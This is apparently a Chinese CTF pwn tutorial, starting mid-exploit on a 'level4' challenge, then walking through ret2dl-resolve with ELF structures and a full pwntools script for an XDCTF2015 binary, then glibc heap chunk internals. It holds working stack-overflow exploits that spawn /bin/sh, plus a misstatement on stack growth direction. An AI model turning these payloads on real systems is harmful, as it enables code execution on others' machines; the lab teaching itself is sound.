fun_addr = p32(0x0804844b)
buf = p32(addr)
payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + buf + p32(4)
r.send(payload)
leaked = r.recv(4)
return leaked

d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')

data_addr = 0x0804A024 # readelf -S level4

read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)

r.send("/bin/sh\x00")

payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)

r.interactive()

0x03:总结

没有做过level0-3的建议做一下在做level4,每个题目收获都会有所不同

参考链接

1
2
https://www.anquanke.com/post/id/85129
https://blog.csdn.net/smalosnail/article/details/53386353

0x01:Ret2dl-resovle

ret2dl-resovle这种技术在pwn中的运用也挺多的,可以类比Windows下的IAT技术进行学习,了解这个技术之前,我们需要知道ELF文件中各个函数的加载过程,下面就演示一下GOT表是如何加载的,首先我们编译一个简单的程序

1
2
3
4
5
6
7
#include <stdio.h>
int main()
{
puts("Hello Pwn\n");
puts("welcome\n");
return 0;
}//gcc -m32 -fno-stack-protector -no-pie -s helloworld.c

我们在puts函数下一个断点,观察是如何调用这个函数的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ gdb a.out
...
pwndbg> b *0x080482e0
Breakpoint 1 at 0x80482e0
pwndbg> r
Starting program: /home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out

Breakpoint 1, 0x080482e0 in puts@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────
EAX 0x8048500 ◂— dec eax /* 'Hello Pwn\n' */
EBX 0x804a000 —▸ 0x8049f14 ◂— 0x1
ECX 0xffffd140 ◂— 0x1
EDX 0xffffd164 ◂— 0x0
EDI 0x0
ESI 0xf7fab000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d4d6c
EBP 0xffffd128 ◂— 0x0
ESP 0xffffd10c —▸ 0x804844f ◂— add esp, 0x10
EIP 0x80482e0 (puts@plt) ◂— jmp dword ptr [0x804a00c]
──────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────
► 0x80482e0 <puts@plt> jmp dword ptr [0x804a00c]

0x80482e6 <puts@plt+6> push 0
0x80482eb <puts@plt+11> jmp 0x80482d0

0x80482d0 push dword ptr [0x804a004]
0x80482d6 jmp dword ptr [0x804a008] <0xf7fead80>

0xf7fead80 <_dl_runtime_resolve> push eax
0xf7fead81 <_dl_runtime_resolve+1> push ecx
0xf7fead82 <_dl_runtime_resolve+2> push edx
0xf7fead83 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10]
0xf7fead87 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xc]
0xf7fead8b <_dl_runtime_resolve+11> call _dl_fixup <0xf7fe4f30>
──────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd10c —▸ 0x804844f ◂— add esp, 0x10
01:0004│ 0xffffd110 —▸ 0x8048500 ◂— dec eax /* 'Hello Pwn\n' */
02:0008│ 0xffffd114 —▸ 0xffffd1d4 —▸ 0xffffd385 ◂— '/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out'
03:000c│ 0xffffd118 —▸ 0xffffd1dc —▸ 0xffffd3b8 ◂— 'QT_DBL_CLICK_DIST=15'
04:0010│ 0xffffd11c —▸ 0x804843a ◂— add ebx, 0x1bc6
05:0014│ 0xffffd120 —▸ 0xffffd140 ◂— 0x1
06:0018│ 0xffffd124 ◂— 0x0
... ↓
────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 80482e0 puts@plt
f 1 804844f
f 2 f7deee81 __libc_start_main+241
Breakpoint *0x80482e0
pwndbg> c
Continuing.
Hello Pwn


Breakpoint 1, 0x080482e0 in puts@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────
EAX 0x804850b ◂— ja 0x8048572 /* 'welcome\n' */
EBX 0x804a000 —▸ 0x8049f14 ◂— 0x1
ECX 0x804b160 ◂— '\nello Pwn\n'
EDX 0xf7fac890 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0x0
ESI 0xf7fab000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d4d6c
EBP 0xffffd128 ◂— 0x0
ESP 0xffffd10c —▸ 0x8048461 ◂— add esp, 0x10
EIP 0x80482e0 (puts@plt) ◂— jmp dword ptr [0x804a00c]
──────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────
► 0x80482e0 <puts@plt> jmp dword ptr [0x804a00c] <0xf7e3d250>

0xf7e3d250 <puts> push ebp
0xf7e3d251 <puts+1> mov ebp, esp
0xf7e3d253 <puts+3> push edi
0xf7e3d254 <puts+4> push esi
0xf7e3d255 <puts+5> push ebx
0xf7e3d256 <puts+6> call __x86.get_pc_thunk.di <0xf7f0ad7d>

0xf7e3d25b <puts+11> add edi, 0x16dda5
0xf7e3d261 <puts+17> sub esp, 0x28
0xf7e3d264 <puts+20> push dword ptr [ebp + 8]
0xf7e3d267 <puts+23> call __strlen_ia32 <0xf7e6e630>
──────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd10c —▸ 0x8048461 ◂— add esp, 0x10
01:0004│ 0xffffd110 —▸ 0x804850b ◂— ja 0x8048572 /* 'welcome\n' */
02:0008│ 0xffffd114 —▸ 0xffffd1d4 —▸ 0xffffd385 ◂— '/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out'
03:000c│ 0xffffd118 —▸ 0xffffd1dc —▸ 0xffffd3b8 ◂— 'QT_DBL_CLICK_DIST=15'
04:0010│ 0xffffd11c —▸ 0x804843a ◂— add ebx, 0x1bc6
05:0014│ 0xffffd120 —▸ 0xffffd140 ◂— 0x1
06:0018│ 0xffffd124 ◂— 0x0
... ↓
────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 80482e0 puts@plt
f 1 8048461
f 2 f7deee81 __libc_start_main+241
Breakpoint *0x80482e0

可以发现,0x80482e6这个地址,并不直接是libc的puts函数的地址。这是因为linux在程序加载时使用了延迟绑定(lazy
load),只有等到这个函数被调用了,才去把这个函数在libc的地址放到GOT表中。接下来,会再push一个0,再push一个dword ptr [0x804a004],待会会说这两个参数是什么意思,最后跳到libc的_dl_runtime_resolve去执行。这个函数的目的,是根据2个参数获取到导出函数(这里是puts)的地址,然后放到相应的GOT表,并且调用它。而这个函数的地址也是从GOT表取并且jmp [xxx]过去的,但是这个函数不会延迟绑定,因为所有函数都是用它做的延迟绑定。而第二次调用puts函数则直接指向puts函数的地址,懂得了上面的东西,我们还需要知道一些结构体,类比PE文件的一些结构,用来索引一些结构。

.dynamic

dynamic结构包含了一些关于动态链接的关键信息,我们只需要关注DT_STRTAB, DT_SYMTAB, DT_JMPREL这三个字段,这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt这3个section的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
LOAD:08049F14                   ; ELF Dynamic Information
LOAD:08049F14 ; ===========================================================================
LOAD:08049F14
LOAD:08049F14 ; Segment type: Pure data
LOAD:08049F14 ; Segment permissions: Read/Write
LOAD:08049F14 LOAD segment mempage public 'DATA' use32
LOAD:08049F14 assume cs:LOAD
LOAD:08049F14 01 00 00 00 01 00+stru_8049F14 Elf32_Dyn <1, <1>>
LOAD:08049F14 00 00 ; DATA XREF: LOAD:080480BC↑o
LOAD:08049F14 ; .got.plt:0804A000↓o
LOAD:08049F14 ; DT_NEEDED libc.so.6
LOAD:08049F1C 0C 00 00 00 A8 82+Elf32_Dyn <0Ch, <80482A8h>> ; DT_INIT
LOAD:08049F24 0D 00 00 00 D4 84+Elf32_Dyn <0Dh, <80484D4h>> ; DT_FINI
LOAD:08049F2C 19 00 00 00 0C 9F+Elf32_Dyn <19h, <8049F0Ch>> ; DT_INIT_ARRAY
LOAD:08049F34 1B 00 00 00 04 00+Elf32_Dyn <1Bh, <4>> ; DT_INIT_ARRAYSZ
LOAD:08049F3C 1A 00 00 00 10 9F+Elf32_Dyn <1Ah, <8049F10h>> ; DT_FINI_ARRAY
LOAD:08049F44 1C 00 00 00 04 00+Elf32_Dyn <1Ch, <4>> ; DT_FINI_ARRAYSZ
LOAD:08049F4C F5 FE FF 6F AC 81+Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH
LOAD:08049F54 05 00 00 00 1C 82+Elf32_Dyn <5, <804821Ch>> ; DT_STRTAB
LOAD:08049F5C 06 00 00 00 CC 81+Elf32_Dyn <6, <80481CCh>> ; DT_SYMTAB
LOAD:08049F64 0A 00 00 00 4A 00+Elf32_Dyn <0Ah, <4Ah>> ; DT_STRSZ
LOAD:08049F6C 0B 00 00 00 10 00+Elf32_Dyn <0Bh, <10h>> ; DT_SYMENT
LOAD:08049F74 15 00 00 00 00 00+Elf32_Dyn <15h, <0>> ; DT_DEBUG
LOAD:08049F7C 03 00 00 00 00 A0+Elf32_Dyn <3, <804A000h>> ; DT_PLTGOT
LOAD:08049F84 02 00 00 00 10 00+Elf32_Dyn <2, <10h>> ; DT_PLTRELSZ
LOAD:08049F8C 14 00 00 00 11 00+Elf32_Dyn <14h, <11h>> ; DT_PLTREL
LOAD:08049F94 17 00 00 00 98 82+Elf32_Dyn <17h, <8048298h>> ; DT_JMPREL
LOAD:08049F9C 11 00 00 00 90 82+Elf32_Dyn <11h, <8048290h>> ; DT_REL
LOAD:08049FA4 12 00 00 00 08 00+Elf32_Dyn <12h, <8>> ; DT_RELSZ
LOAD:08049FAC 13 00 00 00 08 00+Elf32_Dyn <13h, <8>> ; DT_RELENT
LOAD:08049FB4 FE FF FF 6F 70 82+Elf32_Dyn <6FFFFFFEh, <8048270h>> ; DT_VERNEED
LOAD:08049FBC FF FF FF 6F 01 00+Elf32_Dyn <6FFFFFFFh, <1>> ; DT_VERNEEDNUM
LOAD:08049FC4 F0 FF FF 6F 66 82+Elf32_Dyn <6FFFFFF0h, <8048266h>> ; DT_VERSYM
LOAD:08049FCC 00 00 00 00 00 00+Elf32_Dyn <0> ; DT_NULL

.dynstr

.dynstr是一个字符串表,index[0]的地方永远是0,然后后面是动态链接所需的字符串,以0结尾,包括导入函数名,比方说这里很明显有个puts。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移,比方说,在这里,就是字符串相对0x804821C的偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
LOAD:0804821C                   ; ELF String Table
LOAD:0804821C 00 byte_804821C db 0 ; DATA XREF: LOAD:080481DC↑o
LOAD:0804821C ; LOAD:080481EC↑o
LOAD:0804821C ; LOAD:080481FC↑o
LOAD:0804821C ; LOAD:0804820C↑o
LOAD:0804821D 6C 69 62 63 2E 73+aLibcSo6 db 'libc.so.6',0
LOAD:08048227 5F 49 4F 5F 73 74+aIoStdinUsed db '_IO_stdin_used',0
LOAD:08048227 64 69 6E 5F 75 73+ ; DATA XREF: LOAD:0804820C↑o
LOAD:08048236 70 75 74 73 00 aPuts db 'puts',0 ; DATA XREF: LOAD:080481DC↑o
LOAD:0804823B 5F 5F 6C 69 62 63+aLibcStartMain db '__libc_start_main',0
LOAD:0804823B 5F 73 74 61 72 74+ ; DATA XREF: LOAD:080481FC↑o
LOAD:0804824D 47 4C 49 42 43 5F+aGlibc20 db 'GLIBC_2.0',0
LOAD:08048257 5F 5F 67 6D 6F 6E+aGmonStart db '__gmon_start__',0
LOAD:08048257 5F 73 74 61 72 74+ ; DATA XREF: LOAD:080481EC↑o

.dynsym

结构如下,这是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比如puts函数。结构体定义如下

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

在IDA中显示如下

1
2
3
4
5
6
LOAD:080481CC                   ; ELF Symbol Table
LOAD:080481CC 00 00 00 00 00 00+Elf32_Sym <0>
LOAD:080481DC 1A 00 00 00 00 00+Elf32_Sym <offset aPuts - offset byte_804821C, 0, 0, 12h, 0, 0> ; "puts"
LOAD:080481EC 3B 00 00 00 00 00+Elf32_Sym <offset aGmonStart - offset byte_804821C, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:080481FC 1F 00 00 00 00 00+Elf32_Sym <offset aLibcStartMain - offset byte_804821C, 0, 0, 12h, 0, 0> ; "__libc_start_main"
LOAD:0804820C 0B 00 00 00 EC 84+Elf32_Sym <offset aIoStdinUsed - offset byte_804821C, offset _IO_stdin_used, 4, 11h, 0, 10h> ; "_IO_stdin_used"

.rel.plt

这里是重定位表(不过跟windows那个重定位表概念不同),也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:

1
2
3
4
5
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info; //重定位入口的类型和符号
} Elf32_Rel;

在IDA中显示如下

1
2
3
4
LOAD:08048298                   ; ELF JMPREL Relocation Table
LOAD:08048298 0C A0 04 08 07 01+Elf32_Rel <804A00Ch, 107h> ; R_386_JMP_SLOT puts
LOAD:080482A0 10 A0 04 08 07 03+Elf32_Rel <804A010h, 307h> ; R_386_JMP_SLOT __libc_start_main
LOAD:080482A0 00 00 LOAD ends

上面的结构体看起来也挺迷糊人的,我只是根据一位大佬的文章总结过来的,下面才是我们需要清楚的关键函数 _dl_runtime_resolve(link_map_obj, reloc_index) ,源码可以在这里下载。

_dl_runtime_resolve函数运行模式如下:

  1. 用link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
  2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
  4. .dynstr + sym->st_name得出符号名字符串指针
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
  6. 调用这个函数

利用方法主要是伪造rel.plt表和symtab表,并且修改reloc_index,让重定位函数解析我们伪造的结构体,借此修改符号解析的位置,对于一些字段的获取,我们可以用objdump来寻找,如下图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .rel.plt ./main

./main: 文件格式 elf32-i386

Contents of section .rel.plt:
8048330 0ca00408 07010000 10a00408 07020000 ................
8048340 14a00408 07040000 18a00408 07050000 ................
8048350 1ca00408 07060000 ........
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .dynsym ./main

./main: 文件格式 elf32-i386

Contents of section .dynsym:
80481d8 00000000 00000000 00000000 00000000 ................
80481e8 33000000 00000000 00000000 12000000 3...............
80481f8 27000000 00000000 00000000 12000000 '...............
8048208 52000000 00000000 00000000 20000000 R........... ...
8048218 20000000 00000000 00000000 12000000 ...............
8048228 3a000000 00000000 00000000 12000000 :...............
8048238 4c000000 00000000 00000000 12000000 L...............
8048248 2c000000 44a00408 04000000 11001a00 ,...D...........
8048258 0b000000 3c860408 04000000 11001000 ....<...........
8048268 1a000000 40a00408 04000000 11001a00 ....@...........
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .dynstr ./main

./main: 文件格式 elf32-i386

Contents of section .dynstr:
8048278 006c6962 632e736f 2e36005f 494f5f73 .libc.so.6._IO_s
8048288 7464696e 5f757365 64007374 64696e00 tdin_used.stdin.
8048298 7374726c 656e0072 65616400 7374646f strlen.read.stdo
80482a8 75740073 65746275 66005f5f 6c696263 ut.setbuf.__libc
80482b8 5f737461 72745f6d 61696e00 77726974 _start_main.writ
80482c8 65005f5f 676d6f6e 5f737461 72745f5f e.__gmon_start__
80482d8 00474c49 42435f32 2e3000 .GLIBC_2.0.

0x01:例子

题目链接

首先检查保护机制

1
2
3
4
5
6
7
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ checksec main
[*] '/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/main'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // eax
char buf[4]; // [esp+0h] [ebp-6Ch]
char v6; // [esp+18h] [ebp-54h]
int *v7; // [esp+64h] [ebp-8h]

v7 = &argc;
strcpy(buf, "Welcome to XDCTF2015~!\n");
memset(&v6, 0, 0x4Cu);
setbuf(stdout, buf);
v3 = strlen(buf);
write(1, buf, v3);
vuln();
return 0;
}

vuln

1
2
3
4
5
6
7
ssize_t vuln()
{
char buf; // [esp+Ch] [ebp-6Ch]

setbuf(stdin, &buf);
return read(0, &buf, 0x100u);
}

题目思路非常清晰,read函数存在栈溢出,但是没有libc,ROPgadget也很少,这里就可以考虑ret2dl-resolve,我们先将栈转移到bss段,然后构造结构体,实现对system函数的解析,然后getshell

第一处payload负责栈转移,将eip覆盖为.rel.plt地址,传递一个可控的rel_offset,使rel_entry落在可控区域

1
payload = 'a'*108 + p32(bss_addr - 20) + p32(elf.plt['read']) + p32(leave_ret) + p32(0) + p32(bss_addr - 20) + p32(0x50)

第二处的payload负责伪造rel_entry使sym_entry落在可控区域,伪造sym_entry使sym_name为‘system’

1
2
3
4
5
6
payload2 = p32(0x0) # pop ebp, 随便设反正不用了
payload2 += p32(DYN_RESOL_PLT) # resolve的PLT,就是前面说的push link_map那个位置
payload2 += p32(FAKE_REL_OFF) # 伪造的重定位表OFFSET
payload2 += p32(0xdeadbeef) # 返回地址
payload2 += p32(bin_sh) # 参数'/bin/sh'
payload2 += fake_rel_plt + fake_dynsym + fake_dynstr

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

r = process('./main')
elf = ELF('./main')
#r = remote("",)

context.log_level = 'debug'

context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

if args.G:
gdb.attach(r)

rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr

bss_addr = 0x804a300 # readelf -S main => .bss
DYN_RESOL_PLT = 0x8048380 # readelf -S main => .plt
leave_ret = 0x08048458 # ROPgadget --binary main --only "leave|ret"

fake_rel_plt_addr = bss_addr
fake_dynsym_addr = fake_rel_plt_addr + 0x8
fake_dynstr_addr = fake_dynsym_addr + 0x10
bin_sh = fake_dynstr_addr + 0x7

FAKE_REL_OFF = fake_rel_plt_addr - rel_plt_addr
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
str_off = fake_dynstr_addr - dynstr_addr

payload = 'a'*108 + p32(bss_addr - 20) + p32(elf.plt['read']) + p32(leave_ret) + p32(0) + p32(bss_addr - 20) + p32(0x50)

r.recvuntil('!\n')
r.sendline(payload) # stack immigration

fake_rel_plt = p32(elf.got['read'])+p32(r_info)
fake_dynsym = p32(str_off) + p32(0) + p32(0) + p32(0x12000000)
fake_dynstr = "system\x00/bin/sh\x00\x00"

payload2 = p32(0x0) + p32(DYN_RESOL_PLT) + p32(FAKE_REL_OFF) + p32(0xdeadbeef) + p32(bin_sh) + fake_rel_plt + fake_dynsym + fake_dynstr

r.sendline(payload2) # construct a fake structure

r.interactive()

0x02:总结

这个脚本可以保存一份,以后遇到类似的题目可以直接套用脚本

参考链接

1
https://bbs.pediy.com/thread-227034.htm

0x02:Heap Attack

Glibc Heap

本文实验环境主要是在Linux下,对Linux的堆知识进行整理和总结,也算是对许多资料的一个整理,和Windows相比,Linux下的堆管理机制并没有那么的严谨,导致了许多攻击的产生,下面就从概念开始分析Linux堆管理机制

堆定义

在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域。我们一般称管理堆的那部分程序为堆管理器,与栈不同的是堆由低地址向高地址方向增长,而栈由低地址向高地址方向增长。下面这张图可以很清楚的说明:

1

注:本文提到的堆是基于glibc 库下的 ptmalloc2堆管理器

堆相关数据结构

malloc_chunk

我们首先来看堆结构的源码,这里我们申请的每一个堆即是一个chunk结构,它有个名字叫做malloc_chunk,非常有意思的是,无论一个 chunk 的大小如何,处于分配状态还是释放状态,它们都使用一个统一的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

各个字段解释如下

  • prev_size

    负责记录前一块chunk的大小,只有在前面一个堆块是空闲的时候才有值。前面一个堆块在使用时,他的值始终为 0

  • size

    记录该 chunk 的大小,大小必须是 2 SIZE_SZ 的整数倍。如果申请的内存大小不是 2 SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 该字段的低三个比特位有如下的作用

    • NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1 表示不属于,0 表示属于。
    • IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
    • PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。
  • fd,bk

    chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下

    • fd 指向下一个(非物理相邻)空闲的 chunk
    • bk 指向上一个(非物理相邻)空闲的 chunk
    • 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
  • fd_nextsize, bk_nextsize

    也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。

    • fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。

Allocated chunk

一个已经分配的chunk以及后一块chunk状态如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Freed chunk

被释放的 chunk 被记录在链表中,可能是循环双向链表,也可能是单向链表,状态如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |A|0|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

malloc大小计算

对于正在使用的 chunk,它的下一个 chunk 的 prev_size 是无效的,这块内存也可以被当前 chunk 使用,这也就存在了空间的复用,因此对于使用中的 chunk 大小计算公式是:chunk_size = (用户请求大小 + (2 -1) * sizeof(INTERNAL_SIZE_T)) aligh to 2 * sizeof(size_t)

比如我们在64位系统中

1
2
malloc(8)
// 申请到的chunk: 16 + 8 + 8 + 1 = 0x21
  1. 第一个 16 字节是系统最小分配的内存,也就是说你如果想要申请的内存小于系统最小分配的内存的话,就会按照最小的内存来分配,在 64 位系统中这个值是 16 个字节,在 32 位系统中是 8 个字节,如果代码中是 malloc(0) 的话,堆管理器也会分配最小内存空间给你
  2. 第二个 8 字节是 pre size 字段的大小(32 位的为 4 字节)
  3. 第三个 8 字节为 size 字段的大小(32 位的为 4 字节)
  4. 最后一个 1 字节是 PREV_INUSE 的值,只有 0 或 1两个值

lab

为了搞清楚堆的结构我们首先做一个实验,构造如下代码

1
2
3
4
5
6
7
8
9
10
#include <stdlib.h>
#include <string.h>

int main(){
char *p;
p = malloc(10);
memcpy(p,"aaaaa",5);
free(p);
return 0;
}

程序先用malloc函数申请了一块内存,然后向内存中拷贝了5个a,最后释放了这块内存,我们在gdb中观察堆的结构,我们首先运行到malloc函数,用vmmap观察内存布局,这里没有生成堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/thunder/Desktop/codes/ctf/pwn/heap/heap1
0x555555754000 0x555555755000 r--p 1000 0 /home/thunder/Desktop/codes/ctf/pwn/heap/heap1
0x555555755000 0x555555756000 rw-p 1000 1000 /home/thunder/Desktop/codes/ctf/pwn/heap/heap1
0x7ffff7a3a000 0x7ffff7bcf000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7bcf000 0x7ffff7dcf000 ---p 200000 195000 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7dcf000 0x7ffff7dd3000 r--p 4000 195000 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7dd3000 0x7ffff7dd5000 rw-p 2000 199000 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7dd5000 0x7ffff7dd9000 rw-p 4000 0
0x7ffff7dd9000 0x7ffff7dfc000 r-xp 23000 0 /usr/lib/x86_64-linux-gnu/ld-2.24.so
0x7ffff7fd6000 0x7ffff7fd8000 rw-p 2000 0
0x7ffff7ff4000 0x7ffff7ff7000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 23000 /usr/lib/x86_64-linux-gnu/ld-2.24.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 24000 /usr/lib/x86_64-linux-gnu/ld-2.24.so
